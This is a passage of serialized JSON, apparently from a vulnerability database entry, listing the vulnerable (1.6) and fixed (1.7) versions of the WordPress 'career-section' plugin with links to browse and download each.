\"admin\"",{"type":80,"vulnerable_version":81,"fixed_version":11,"vulnerable_browse":82,"vulnerable_zip":83,"fixed_browse":84,"fixed_zip":85,"all_tags":86},"plugin","1.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcareer-section\u002Ftags\u002F1.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcareer-section.1.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcareer-section\u002Ftags\u002F1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcareer-section.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcareer-section\u002Ftags"]